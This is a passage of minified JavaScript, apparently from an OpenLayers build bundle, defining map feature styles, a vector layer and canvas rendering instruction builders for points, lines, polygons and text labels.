0,radius:this.getRadius(),scale:Array.isArray(t)?t.slice():t,rotation:this.getRotation(),rotateWithView:this.getRotateWithView(),displacement:this.getDisplacement().slice(),declutterMode:this.getDeclutterMode()});return i.setOpacity(this.getOpacity()),i},e.prototype.setRadius=function(t){this.radius_=t,this.render()},e}(lr),cr=function(){function t(t){var e=t||{};this.color_=void 0!==e.color?e.color:null}return t.prototype.clone=function(){var e=this.getColor();return new t({color:Array.isArray(e)?e.slice():e||void 0})},t.prototype.getColor=function(){return this.color_},t.prototype.setColor=function(t){this.color_=t},t}(),pr=function(){function t(t){var e=t||{};this.color_=void 0!==e.color?e.color:null,this.lineCap_=e.lineCap,this.lineDash_=void 0!==e.lineDash?e.lineDash:null,this.lineDashOffset_=e.lineDashOffset,this.lineJoin_=e.lineJoin,this.miterLimit_=e.miterLimit,this.width_=e.width}return t.prototype.clone=function(){var e=this.getColor();return new t({color:Array.isArray(e)?e.slice():e||void 0,lineCap:this.getLineCap(),lineDash:this.getLineDash()?this.getLineDash().slice():void 0,lineDashOffset:this.getLineDashOffset(),lineJoin:this.getLineJoin(),miterLimit:this.getMiterLimit(),width:this.getWidth()})},t.prototype.getColor=function(){return this.color_},t.prototype.getLineCap=function(){return this.lineCap_},t.prototype.getLineDash=function(){return this.lineDash_},t.prototype.getLineDashOffset=function(){return this.lineDashOffset_},t.prototype.getLineJoin=function(){return this.lineJoin_},t.prototype.getMiterLimit=function(){return this.miterLimit_},t.prototype.getWidth=function(){return this.width_},t.prototype.setColor=function(t){this.color_=t},t.prototype.setLineCap=function(t){this.lineCap_=t},t.prototype.setLineDash=function(t){this.lineDash_=t},t.prototype.setLineDashOffset=function(t){this.lineDashOffset_=t},t.prototype.setLineJoin=function(t){this.lineJoin_=t},t.prototype.setMiterLimit=function(t){this.miterLimit_=t},t.prototype.setWidth=function(t){this.width_=t},t}(),fr=function(){function t(t){var e=t||{};this.geometry_=null,this.geometryFunction_=_r,void 0!==e.geometry&&this.setGeometry(e.geometry),this.fill_=void 0!==e.fill?e.fill:null,this.image_=void 0!==e.image?e.image:null,this.renderer_=void 0!==e.renderer?e.renderer:null,this.hitDetectionRenderer_=void 0!==e.hitDetectionRenderer?e.hitDetectionRenderer:null,this.stroke_=void 0!==e.stroke?e.stroke:null,this.text_=void 0!==e.text?e.text:null,this.zIndex_=e.zIndex}return t.prototype.clone=function(){var e=this.getGeometry();return e&&"object"==typeof e&&(e=e.clone()),new t({geometry:e,fill:this.getFill()?this.getFill().clone():void 0,image:this.getImage()?this.getImage().clone():void 0,renderer:this.getRenderer(),stroke:this.getStroke()?this.getStroke().clone():void 0,text:this.getText()?this.getText().clone():void 0,zIndex:this.getZIndex()})},t.prototype.getRenderer=function(){return this.renderer_},t.prototype.setRenderer=function(t){this.renderer_=t},t.prototype.setHitDetectionRenderer=function(t){this.hitDetectionRenderer_=t},t.prototype.getHitDetectionRenderer=function(){return this.hitDetectionRenderer_},t.prototype.getGeometry=function(){return this.geometry_},t.prototype.getGeometryFunction=function(){return this.geometryFunction_},t.prototype.getFill=function(){return this.fill_},t.prototype.setFill=function(t){this.fill_=t},t.prototype.getImage=function(){return this.image_},t.prototype.setImage=function(t){this.image_=t},t.prototype.getStroke=function(){return this.stroke_},t.prototype.setStroke=function(t){this.stroke_=t},t.prototype.getText=function(){return this.text_},t.prototype.setText=function(t){this.text_=t},t.prototype.getZIndex=function(){return this.zIndex_},t.prototype.setGeometry=function(t){"function"==typeof t?this.geometryFunction_=t:"string"==typeof t?this.geometryFunction_=function(e){return e.get(t)}:t?void 0!==t&&(this.geometryFunction_=function(){return t}):this.geometryFunction_=_r,this.geometry_=t},t.prototype.setZIndex=function(t){this.zIndex_=t},t}(),dr=null;function gr(t,e){if(!dr){var i=new cr({color:"rgba(255,255,255,0.4)"}),n=new pr({color:"#3399CC",width:1.25});dr=[new fr({image:new ur({fill:i,stroke:n,radius:5}),fill:i,stroke:n})]}return dr}function _r(t){return t.getGeometry()}var yr=fr,vr=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),mr="renderOrder",xr=function(t){function e(e){var i=this,n=e||{},o=f({},n);return delete o.style,delete o.renderBuffer,delete o.updateWhileAnimating,delete o.updateWhileInteracting,(i=t.call(this,o)||this).declutter_=void 0!==n.declutter&&n.declutter,i.renderBuffer_=void 0!==n.renderBuffer?n.renderBuffer:100,i.style_=null,i.styleFunction_=void 0,i.setStyle(n.style),i.updateWhileAnimating_=void 0!==n.updateWhileAnimating&&n.updateWhileAnimating,i.updateWhileInteracting_=void 0!==n.updateWhileInteracting&&n.updateWhileInteracting,i}return vr(e,t),e.prototype.getDeclutter=function(){return this.declutter_},e.prototype.getFeatures=function(e){return t.prototype.getFeatures.call(this,e)},e.prototype.getRenderBuffer=function(){return this.renderBuffer_},e.prototype.getRenderOrder=function(){return this.get(mr)},e.prototype.getStyle=function(){return this.style_},e.prototype.getStyleFunction=function(){return this.styleFunction_},e.prototype.getUpdateWhileAnimating=function(){return this.updateWhileAnimating_},e.prototype.getUpdateWhileInteracting=function(){return this.updateWhileInteracting_},e.prototype.renderDeclutter=function(t){t.declutterTree||(t.declutterTree=new zo(9)),this.getRenderer().renderDeclutter(t)},e.prototype.setRenderOrder=function(t){this.set(mr,t)},e.prototype.setStyle=function(t){this.style_=void 0!==t?t:gr,this.styleFunction_=null===t?void 0:function(t){var e,i;"function"==typeof t?e=t:(Array.isArray(t)?i=t:(xt("function"==typeof t.getZIndex,41),i=[t]),e=function(){return i});return e}(this.style_),this.changed()},e}(Gt),Cr={BEGIN_GEOMETRY:0,BEGIN_PATH:1,CIRCLE:2,CLOSE_PATH:3,CUSTOM:4,DRAW_CHARS:5,DRAW_IMAGE:6,END_GEOMETRY:7,FILL:8,MOVE_TO_LINE_TO:9,SET_FILL_STYLE:10,SET_STROKE_STYLE:11,STROKE:12},wr=[Cr.FILL],Sr=[Cr.STROKE],Er=[Cr.BEGIN_PATH],Tr=[Cr.CLOSE_PATH],br=Cr,Or=function(){function t(){}return t.prototype.drawCustom=function(t,e,i,n){},t.prototype.drawGeometry=function(t){},t.prototype.setStyle=function(t){},t.prototype.drawCircle=function(t,e){},t.prototype.drawFeature=function(t,e){},t.prototype.drawGeometryCollection=function(t,e){},t.prototype.drawLineString=function(t,e){},t.prototype.drawMultiLineString=function(t,e){},t.prototype.drawMultiPoint=function(t,e){},t.prototype.drawMultiPolygon=function(t,e){},t.prototype.drawPoint=function(t,e){},t.prototype.drawPolygon=function(t,e){},t.prototype.drawText=function(t,e){},t.prototype.setFillStrokeStyle=function(t,e){},t.prototype.setImageStyle=function(t,e){},t.prototype.setTextStyle=function(t,e){},t}(),Rr=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Pr=function(t){function e(e,i,n,o){var r=t.call(this)||this;return r.tolerance=e,r.maxExtent=i,r.pixelRatio=o,r.maxLineWidth=0,r.resolution=n,r.beginGeometryInstruction1_=null,r.beginGeometryInstruction2_=null,r.bufferedMaxExtent_=null,r.instructions=[],r.coordinates=[],r.tmpCoordinate_=[],r.hitDetectionInstructions=[],r.state={},r}return Rr(e,t),e.prototype.applyPixelRatio=function(t){var e=this.pixelRatio;return 1==e?t:t.map((function(t){return t*e}))},e.prototype.appendFlatPointCoordinates=function(t,e){for(var i=this.getBufferedMaxExtent(),n=this.tmpCoordinate_,o=this.coordinates,r=o.length,s=0,a=t.length;s<a;s+=e)n[0]=t[s],n[1]=t[s+1],fe(i,n)&&(o[r++]=n[0],o[r++]=n[1]);return r},e.prototype.appendFlatLineCoordinates=function(t,e,i,n,o,r){var s=this.coordinates,a=s.length,l=this.getBufferedMaxExtent();r&&(e+=n);var h,u,c,p=t[e],f=t[e+1],d=this.tmpCoordinate_,g=!0;for(h=e+n;h<i;h+=n)d[0]=t[h],d[1]=t[h+1],(c=_e(l,d))!==u?(g&&(s[a++]=p,s[a++]=f,g=!1),s[a++]=d[0],s[a++]=d[1]):1===c?(s[a++]=d[0],s[a++]=d[1],g=!1):g=!0,p=d[0],f=d[1],u=c;return(o&&g||h===e+n)&&(s[a++]=p,s[a++]=f),a},e.prototype.drawCustomCoordinates_=function(t,e,i,n,o){for(var r=0,s=i.length;r<s;++r){var a=i[r],l=this.appendFlatLineCoordinates(t,e,a,n,!1,!1);o.push(l),e=a}return e},e.prototype.drawCustom=function(t,e,i,n){this.beginGeometry(t,e);var o,r,s,a,l,h=t.getType(),u=t.getStride(),c=this.coordinates.length;switch(h){case"MultiPolygon":o=t.getOrientedFlatCoordinates(),a=[];var p=t.getEndss();l=0;for(var f=0,d=p.length;f<d;++f){var g=[];l=this.drawCustomCoordinates_(o,l,p[f],u,g),a.push(g)}this.instructions.push([br.CUSTOM,c,a,t,i,on]),this.hitDetectionInstructions.push([br.CUSTOM,c,a,t,n||i,on]);break;case"Polygon":case"MultiLineString":s=[],o="Polygon"==h?t.getOrientedFlatCoordinates():t.getFlatCoordinates(),l=this.drawCustomCoordinates_(o,0,t.getEnds(),u,s),this.instructions.push([br.CUSTOM,c,s,t,i,nn]),this.hitDetectionInstructions.push([br.CUSTOM,c,s,t,n||i,nn]);break;case"LineString":case"Circle":o=t.getFlatCoordinates(),r=this.appendFlatLineCoordinates(o,0,o.length,u,!1,!1),this.instructions.push([br.CUSTOM,c,r,t,i,en]),this.hitDetectionInstructions.push([br.CUSTOM,c,r,t,n||i,en]);break;case"MultiPoint":o=t.getFlatCoordinates(),(r=this.appendFlatPointCoordinates(o,u))>c&&(this.instructions.push([br.CUSTOM,c,r,t,i,en]),this.hitDetectionInstructions.push([br.CUSTOM,c,r,t,n||i,en]));break;case"Point":o=t.getFlatCoordinates(),this.coordinates.push(o[0],o[1]),r=this.coordinates.length,this.instructions.push([br.CUSTOM,c,r,t,i]),this.hitDetectionInstructions.push([br.CUSTOM,c,r,t,n||i])}this.endGeometry(e)},e.prototype.beginGeometry=function(t,e){this.beginGeometryInstruction1_=[br.BEGIN_GEOMETRY,e,0,t],this.instructions.push(this.beginGeometryInstruction1_),this.beginGeometryInstruction2_=[br.BEGIN_GEOMETRY,e,0,t],this.hitDetectionInstructions.push(this.beginGeometryInstruction2_)},e.prototype.finish=function(){return{instructions:this.instructions,hitDetectionInstructions:this.hitDetectionInstructions,coordinates:this.coordinates}},e.prototype.reverseHitDetectionInstructions=function(){var t,e=this.hitDetectionInstructions;e.reverse();var i,n,o=e.length,r=-1;for(t=0;t<o;++t)(n=(i=e[t])[0])==br.END_GEOMETRY?r=t:n==br.BEGIN_GEOMETRY&&(i[2]=t,a(this.hitDetectionInstructions,r,t),r=-1)},e.prototype.setFillStrokeStyle=function(t,e){var i=this.state;if(t){var n=t.getColor();i.fillStyle=Xo(n||Yo)}else i.fillStyle=void 0;if(e){var o=e.getColor();i.strokeStyle=Xo(o||Vo);var r=e.getLineCap();i.lineCap=void 0!==r?r:Bo;var s=e.getLineDash();i.lineDash=s?s.slice():Ko;var a=e.getLineDashOffset();i.lineDashOffset=a||0;var l=e.getLineJoin();i.lineJoin=void 0!==l?l:Zo;var h=e.getWidth();i.lineWidth=void 0!==h?h:1;var u=e.getMiterLimit();i.miterLimit=void 0!==u?u:10,i.lineWidth>this.maxLineWidth&&(this.maxLineWidth=i.lineWidth,this.bufferedMaxExtent_=null)}else i.strokeStyle=void 0,i.lineCap=void 0,i.lineDash=null,i.lineDashOffset=void 0,i.lineJoin=void 0,i.lineWidth=void 0,i.miterLimit=void 0},e.prototype.createFill=function(t){var e=t.fillStyle,i=[br.SET_FILL_STYLE,e];return"string"!=typeof e&&i.push(!0),i},e.prototype.applyStroke=function(t){this.instructions.push(this.createStroke(t))},e.prototype.createStroke=function(t){return[br.SET_STROKE_STYLE,t.strokeStyle,t.lineWidth*this.pixelRatio,t.lineCap,t.lineJoin,t.miterLimit,this.applyPixelRatio(t.lineDash),t.lineDashOffset*this.pixelRatio]},e.prototype.updateFillStyle=function(t,e){var i=t.fillStyle;"string"==typeof i&&t.currentFillStyle==i||(void 0!==i&&this.instructions.push(e.call(this,t)),t.currentFillStyle=i)},e.prototype.updateStrokeStyle=function(t,e){var i=t.strokeStyle,n=t.lineCap,o=t.lineDash,r=t.lineDashOffset,s=t.lineJoin,a=t.lineWidth,l=t.miterLimit;(t.currentStrokeStyle!=i||t.currentLineCap!=n||o!=t.currentLineDash&&!h(t.currentLineDash,o)||t.currentLineDashOffset!=r||t.currentLineJoin!=s||t.currentLineWidth!=a||t.currentMiterLimit!=l)&&(void 0!==i&&e.call(this,t),t.currentStrokeStyle=i,t.currentLineCap=n,t.currentLineDash=o,t.currentLineDashOffset=r,t.currentLineJoin=s,t.currentLineWidth=a,t.currentMiterLimit=l)},e.prototype.endGeometry=function(t){this.beginGeometryInstruction1_[2]=this.instructions.length,this.beginGeometryInstruction1_=null,this.beginGeometryInstruction2_[2]=this.hitDetectionInstructions.length,this.beginGeometryInstruction2_=null;var e=[br.END_GEOMETRY,t];this.instructions.push(e),this.hitDetectionInstructions.push(e)},e.prototype.getBufferedMaxExtent=function(){if(!this.bufferedMaxExtent_&&(this.bufferedMaxExtent_=ce(this.maxExtent),this.maxLineWidth>0)){var t=this.resolution*(this.maxLineWidth+1)/2;ue(this.bufferedMaxExtent_,t,this.bufferedMaxExtent_)}return this.bufferedMaxExtent_},e}(Or),Ir=Pr,Mr=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Fr=function(t){function e(e,i,n,o){var r=t.call(this,e,i,n,o)||this;return r.hitDetectionImage_=null,r.image_=null,r.imagePixelRatio_=void 0,r.anchorX_=void 0,r.anchorY_=void 0,r.height_=void 0,r.opacity_=void 0,r.originX_=void 0,r.originY_=void 0,r.rotateWithView_=void 0,r.rotation_=void 0,r.scale_=void 0,r.width_=void 0,r.declutterMode_=void 0,r.declutterImageWithText_=void 0,r}return Mr(e,t),e.prototype.drawPoint=function(t,e){if(this.image_){this.beginGeometry(t,e);var i=t.getFlatCoordinates(),n=t.getStride(),o=this.coordinates.length,r=this.appendFlatPointCoordinates(i,n);this.instructions.push([br.DRAW_IMAGE,o,r,this.image_,this.anchorX_*this.imagePixelRatio_,this.anchorY_*this.imagePixelRatio_,Math.ceil(this.height_*this.imagePixelRatio_),this.opacity_,this.originX_*this.imagePixelRatio_,this.originY_*this.imagePixelRatio_,this.rotateWithView_,this.rotation_,[this.scale_[0]*this.pixelRatio/this.imagePixelRatio_,this.scale_[1]*this.pixelRatio/this.imagePixelRatio_],Math.ceil(this.width_*this.imagePixelRatio_),this.declutterMode_,this.declutterImageWithText_]),this.hitDetectionInstructions.push([br.DRAW_IMAGE,o,r,this.hitDetectionImage_,this.anchorX_,this.anchorY_,this.height_,this.opacity_,this.originX_,this.originY_,this.rotateWithView_,this.rotation_,this.scale_,this.width_,this.declutterMode_,this.declutterImageWithText_]),this.endGeometry(e)}},e.prototype.drawMultiPoint=function(t,e){if(this.image_){this.beginGeometry(t,e);var i=t.getFlatCoordinates(),n=t.getStride(),o=this.coordinates.length,r=this.appendFlatPointCoordinates(i,n);this.instructions.push([br.DRAW_IMAGE,o,r,this.image_,this.anchorX_*this.imagePixelRatio_,this.anchorY_*this.imagePixelRatio_,Math.ceil(this.height_*this.imagePixelRatio_),this.opacity_,this.originX_*this.imagePixelRatio_,this.originY_*this.imagePixelRatio_,this.rotateWithView_,this.rotation_,[this.scale_[0]*this.pixelRatio/this.imagePixelRatio_,this.scale_[1]*this.pixelRatio/this.imagePixelRatio_],Math.ceil(this.width_*this.imagePixelRatio_),this.declutterMode_,this.declutterImageWithText_]),this.hitDetectionInstructions.push([br.DRAW_IMAGE,o,r,this.hitDetectionImage_,this.anchorX_,this.anchorY_,this.height_,this.opacity_,this.originX_,this.originY_,this.rotateWithView_,this.rotation_,this.scale_,this.width_,this.declutterMode_,this.declutterImageWithText_]),this.endGeometry(e)}},e.prototype.finish=function(){return this.reverseHitDetectionInstructions(),this.anchorX_=void 0,this.anchorY_=void 0,this.hitDetectionImage_=null,this.image_=null,this.imagePixelRatio_=void 0,this.height_=void 0,this.scale_=void 0,this.opacity_=void 0,this.originX_=void 0,this.originY_=void 0,this.rotateWithView_=void 0,this.rotation_=void 0,this.width_=void 0,t.prototype.finish.call(this)},e.prototype.setImageStyle=function(t,e){var i=t.getAnchor(),n=t.getSize(),o=t.getOrigin();this.imagePixelRatio_=t.getPixelRatio(this.pixelRatio),this.anchorX_=i[0],this.anchorY_=i[1],this.hitDetectionImage_=t.getHitDetectionImage(),this.image_=t.getImage(this.pixelRatio),this.height_=n[1],this.opacity_=t.getOpacity(),this.originX_=o[0],this.originY_=o[1],this.rotateWithView_=t.getRotateWithView(),this.rotation_=t.getRotation(),this.scale_=t.getScaleArray(),this.width_=n[0],this.declutterMode_=t.getDeclutterMode(),this.declutterImageWithText_=e},e}(Ir),Lr=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ar=function(t){function e(e,i,n,o){return t.call(this,e,i,n,o)||this}return Lr(e,t),e.prototype.drawFlatCoordinates_=function(t,e,i,n){var o=this.coordinates.length,r=this.appendFlatLineCoordinates(t,e,i,n,!1,!1),s=[br.MOVE_TO_LINE_TO,o,r];return this.instructions.push(s),this.hitDetectionInstructions.push(s),i},e.prototype.drawLineString=function(t,e){var i=this.state,n=i.strokeStyle,o=i.lineWidth;if(void 0!==n&&void 0!==o){this.updateStrokeStyle(i,this.applyStroke),this.beginGeometry(t,e),this.hitDetectionInstructions.push([br.SET_STROKE_STYLE,i.strokeStyle,i.lineWidth,i.lineCap,i.lineJoin,i.miterLimit,Ko,0],Er);var r=t.getFlatCoordinates(),s=t.getStride();this.drawFlatCoordinates_(r,0,r.length,s),this.hitDetectionInstructions.push(Sr),this.endGeometry(e)}},e.prototype.drawMultiLineString=function(t,e){var i=this.state,n=i.strokeStyle,o=i.lineWidth;if(void 0!==n&&void 0!==o){this.updateStrokeStyle(i,this.applyStroke),this.beginGeometry(t,e),this.hitDetectionInstructions.push([br.SET_STROKE_STYLE,i.strokeStyle,i.lineWidth,i.lineCap,i.lineJoin,i.miterLimit,i.lineDash,i.lineDashOffset],Er);for(var r=t.getEnds(),s=t.getFlatCoordinates(),a=t.getStride(),l=0,h=0,u=r.length;h<u;++h)l=this.drawFlatCoordinates_(s,l,r[h],a);this.hitDetectionInstructions.push(Sr),this.endGeometry(e)}},e.prototype.finish=function(){var e=this.state;return null!=e.lastStroke&&e.lastStroke!=this.coordinates.length&&this.instructions.push(Sr),this.reverseHitDetectionInstructions(),this.state=null,t.prototype.finish.call(this)},e.prototype.applyStroke=function(e){null!=e.lastStroke&&e.lastStroke!=this.coordinates.length&&(this.instructions.push(Sr),e.lastStroke=this.coordinates.length),e.lastStroke=0,t.prototype.applyStroke.call(this,e),this.instructions.push(Er)},e}(Ir),Dr=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),kr=function(t){function e(e,i,n,o){return t.call(this,e,i,n,o)||this}return Dr(e,t),e.prototype.drawFlatCoordinatess_=function(t,e,i,n){var o=this.state,r=void 0!==o.fillStyle,s=void 0!==o.strokeStyle,a=i.length;this.instructions.push(Er),this.hitDetectionInstructions.push(Er);for(var l=0;l<a;++l){var h=i[l],u=this.coordinates.length,c=this.appendFlatLineCoordinates(t,e,h,n,!0,!s),p=[br.MOVE_TO_LINE_TO,u,c];this.instructions.push(p),this.hitDetectionInstructions.push(p),s&&(this.instructions.push(Tr),this.hitDetectionInstructions.push(Tr)),e=h}return r&&(this.instructions.push(wr),this.hitDetectionInstructions.push(wr)),s&&(this.instructions.push(Sr),this.hitDetectionInstructions.push(Sr)),e},e.prototype.drawCircle=function(t,e){var i=this.state,n=i.fillStyle,o=i.strokeStyle;if(void 0!==n||void 0!==o){this.setFillStrokeStyles_(),this.beginGeometry(t,e),void 0!==i.fillStyle&&this.hitDetectionInstructions.push([br.SET_FILL_STYLE,Yo]),void 0!==i.strokeStyle&&this.hitDetectionInstructions.push([br.SET_STROKE_STYLE,i.strokeStyle,i.lineWidth,i.lineCap,i.lineJoin,i.miterLimit,i.lineDash,i.lineDashOffset]);var r=t.getFlatCoordinates(),s=t.getStride(),a=this.coordinates.length;this.appendFlatLineCoordinates(r,0,r.length,s,!1,!1);var l=[br.CIRCLE,a];this.instructions.push(Er,l),this.hitDetectionInstructions.push(Er,l),void 0!==i.fillStyle&&(this.instructions.push(wr),this.hitDetectionInstructions.push(wr)),void 0!==i.strokeStyle&&(this.instructions.push(Sr),this.hitDetectionInstructions.push(Sr)),this.endGeometry(e)}},e.prototype.drawPolygon=function(t,e){var i=this.state,n=i.fillStyle,o=i.strokeStyle;if(void 0!==n||void 0!==o){this.setFillStrokeStyles_(),this.beginGeometry(t,e),void 0!==i.fillStyle&&this.hitDetectionInstructions.push([br.SET_FILL_STYLE,Yo]),void 0!==i.strokeStyle&&this.hitDetectionInstructions.push([br.SET_STROKE_STYLE,i.strokeStyle,i.lineWidth,i.lineCap,i.lineJoin,i.miterLimit,i.lineDash,i.lineDashOffset]);var r=t.getEnds(),s=t.getOrientedFlatCoordinates(),a=t.getStride();this.drawFlatCoordinatess_(s,0,r,a),this.endGeometry(e)}},e.prototype.drawMultiPolygon=function(t,e){var i=this.state,n=i.fillStyle,o=i.strokeStyle;if(void 0!==n||void 0!==o){this.setFillStrokeStyles_(),this.beginGeometry(t,e),void 0!==i.fillStyle&&this.hitDetectionInstructions.push([br.SET_FILL_STYLE,Yo]),void 0!==i.strokeStyle&&this.hitDetectionInstructions.push([br.SET_STROKE_STYLE,i.strokeStyle,i.lineWidth,i.lineCap,i.lineJoin,i.miterLimit,i.lineDash,i.lineDashOffset]);for(var r=t.getEndss(),s=t.getOrientedFlatCoordinates(),a=t.getStride(),l=0,h=0,u=r.length;h<u;++h)l=this.drawFlatCoordinatess_(s,l,r[h],a);this.endGeometry(e)}},e.prototype.finish=function(){this.reverseHitDetectionInstructions(),this.state=null;var e=this.tolerance;if(0!==e)for(var i=this.coordinates,n=0,o=i.length;n<o;++n)i[n]=Ji(i[n],e);return t.prototype.finish.call(this)},e.prototype.setFillStrokeStyles_=function(){var t=this.state;void 0!==t.fillStyle&&this.updateFillStyle(t,this.createFill),void 0!==t.strokeStyle&&this.updateStrokeStyle(t,this.applyStroke)},e}(Ir),jr=kr;function Gr(t,e,i,n,o){var r,s,a,l,h,u,c,p,f,d=i,g=i,_=0,y=0,v=i;for(r=i;r<n;r+=o){var m=e[r],x=e[r+1];void 0!==l&&(p=m-l,f=x-h,a=Math.sqrt(p*p+f*f),void 0!==u&&(y+=s,Math.acos((u*p+c*f)/(s*a))>t&&(y>_&&(_=y,d=v,g=r),y=0,v=r-o)),s=a,u=p,c=f),l=m,h=x}return(y+=a)>_?[v,r]:[d,g]}var zr=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Wr={left:0,end:0,center:.5,right:1,start:1,top:0,middle:.5,hanging:.2,alphabetic:.8,ideographic:.8,bottom:1},Xr=function(t){function e(e,i,n,o){var r=t.call(this,e,i,n,o)||this;return r.labels_=null,r.text_="",r.textOffsetX_=0,r.textOffsetY_=0,r.textRotateWithView_=void 0,r.textRotation_=0,r.textFillState_=null,r.fillStates={},r.textStrokeState_=null,r.strokeStates={},r.textState_={},r.textStates={},r.textKey_="",r.fillKey_="",r.strokeKey_="",r.declutterImageWithText_=void 0,r}return zr(e,t),e.prototype.finish=function(){var e=t.prototype.finish.call(this);return e.textStates=this.textStates,e.fillStates=this.fillStates,e.strokeStates=this.strokeStates,e},e.prototype.drawText=function(t,e){var i=this.textFillState_,n=this.textStrokeState_,o=this.textState_;if(""!==this.text_&&o&&(i||n)){var r=this.coordinates,s=r.length,a=t.getType(),l=null,h=t.getStride();if("line"!==o.placement||"LineString"!=a&&"MultiLineString"!=a&&"Polygon"!=a&&"MultiPolygon"!=a){var u=o.overflow?null:[];switch(a){case"Point":case"MultiPoint":l=t.getFlatCoordinates();break;case"LineString":l=t.getFlatMidpoint();break;case"Circle":l=t.getCenter();break;case"MultiLineString":l=t.getFlatMidpoints(),h=2;break;case"Polygon":l=t.getFlatInteriorPoint(),o.overflow||u.push(l[2]/this.resolution),h=3;break;case"MultiPolygon":var c=t.getFlatInteriorPoints();for(l=[],w=0,S=c.length;w<S;w+=3)o.overflow||u.push(c[w+2]/this.resolution),l.push(c[w],c[w+1]);if(0===l.length)return;h=2}if((I=this.appendFlatPointCoordinates(l,h))===s)return;if(u&&(I-s)/2!=l.length/h){var p=s/2;u=u.filter((function(t,e){var i=r[2*(p+e)]===l[e*h]&&r[2*(p+e)+1]===l[e*h+1];return i||--p,i}))}this.saveTextStates_(),(o.backgroundFill||o.backgroundStroke)&&(this.setFillStrokeStyle(o.backgroundFill,o.backgroundStroke),o.backgroundFill&&(this.updateFillStyle(this.state,this.createFill),this.hitDetectionInstructions.push(this.createFill(this.state))),o.backgroundStroke&&(this.updateStrokeStyle(this.state,this.applyStroke),this.hitDetectionInstructions.push(this.createStroke(this.state)))),this.beginGeometry(t,e);var f=o.padding;if(f!=qo&&(o.scale[0]<0||o.scale[1]<0)){var d=o.padding[0],g=o.padding[1],_=o.padding[2],y=o.padding[3];o.scale[0]<0&&(g=-g,y=-y),o.scale[1]<0&&(d=-d,_=-_),f=[d,g,_,y]}var v=this.pixelRatio;this.instructions.push([br.DRAW_IMAGE,s,I,null,NaN,NaN,NaN,1,0,0,this.textRotateWithView_,this.textRotation_,[1,1],NaN,void 0,this.declutterImageWithText_,f==qo?qo:f.map((function(t){return t*v})),!!o.backgroundFill,!!o.backgroundStroke,this.text_,this.textKey_,this.strokeKey_,this.fillKey_,this.textOffsetX_,this.textOffsetY_,u]);var m=1/v;this.hitDetectionInstructions.push([br.DRAW_IMAGE,s,I,null,NaN,NaN,NaN,1,0,0,this.textRotateWithView_,this.textRotation_,[m,m],NaN,void 0,this.declutterImageWithText_,f,!!o.backgroundFill,!!o.backgroundStroke,this.text_,this.textKey_,this.strokeKey_,this.fillKey_,this.textOffsetX_,this.textOffsetY_,u]),this.endGeometry(e)}else{if(!je(this.getBufferedMaxExtent(),t.getExtent()))return;var x=void 0;if(l=t.getFlatCoordinates(),"LineString"==a)x=[l.length];else if("MultiLineString"==a)x=t.getEnds();else if("Polygon"==a)x=t.getEnds().slice(0,1);else if("MultiPolygon"==a){var C=t.getEndss();x=[];for(var w=0,S=C.length;w<S;++w)x.push(C[w][0])}this.beginGeometry(t,e);for(var E=o.textAlign,T=0,b=void 0,O=0,R=x.length;O<R;++O){if(null==E){var P=Gr(o.maxAngle,l,T,x[O],h);T=P[0],b=P[1]}else b=x[O];for(w=T;w<b;w+=h)r.push(l[w],l[w+1]);var I=r.length;T=x[O],this.drawChars_(s,I),s=I}this.endGeometry(e)}}},e.prototype.saveTextStates_=function(){var t=this.textStrokeState_,e=this.textState_,i=this.textFillState_,n=this.strokeKey_;t&&(n in this.strokeStates||(this.strokeStates[n]={strokeStyle:t.strokeStyle,lineCap:t.lineCap,lineDashOffset:t.lineDashOffset,lineWidth:t.lineWidth,lineJoin:t.lineJoin,miterLimit:t.miterLimit,lineDash:t.lineDash}));var o=this.textKey_;o in this.textStates||(this.textStates[o]={font:e.font,textAlign:e.textAlign||Uo,justify:e.justify,textBaseline:e.textBaseline||Ho,scale:e.scale});var r=this.fillKey_;i&&(r in this.fillStates||(this.fillStates[r]={fillStyle:i.fillStyle}))},e.prototype.drawChars_=function(t,e){var 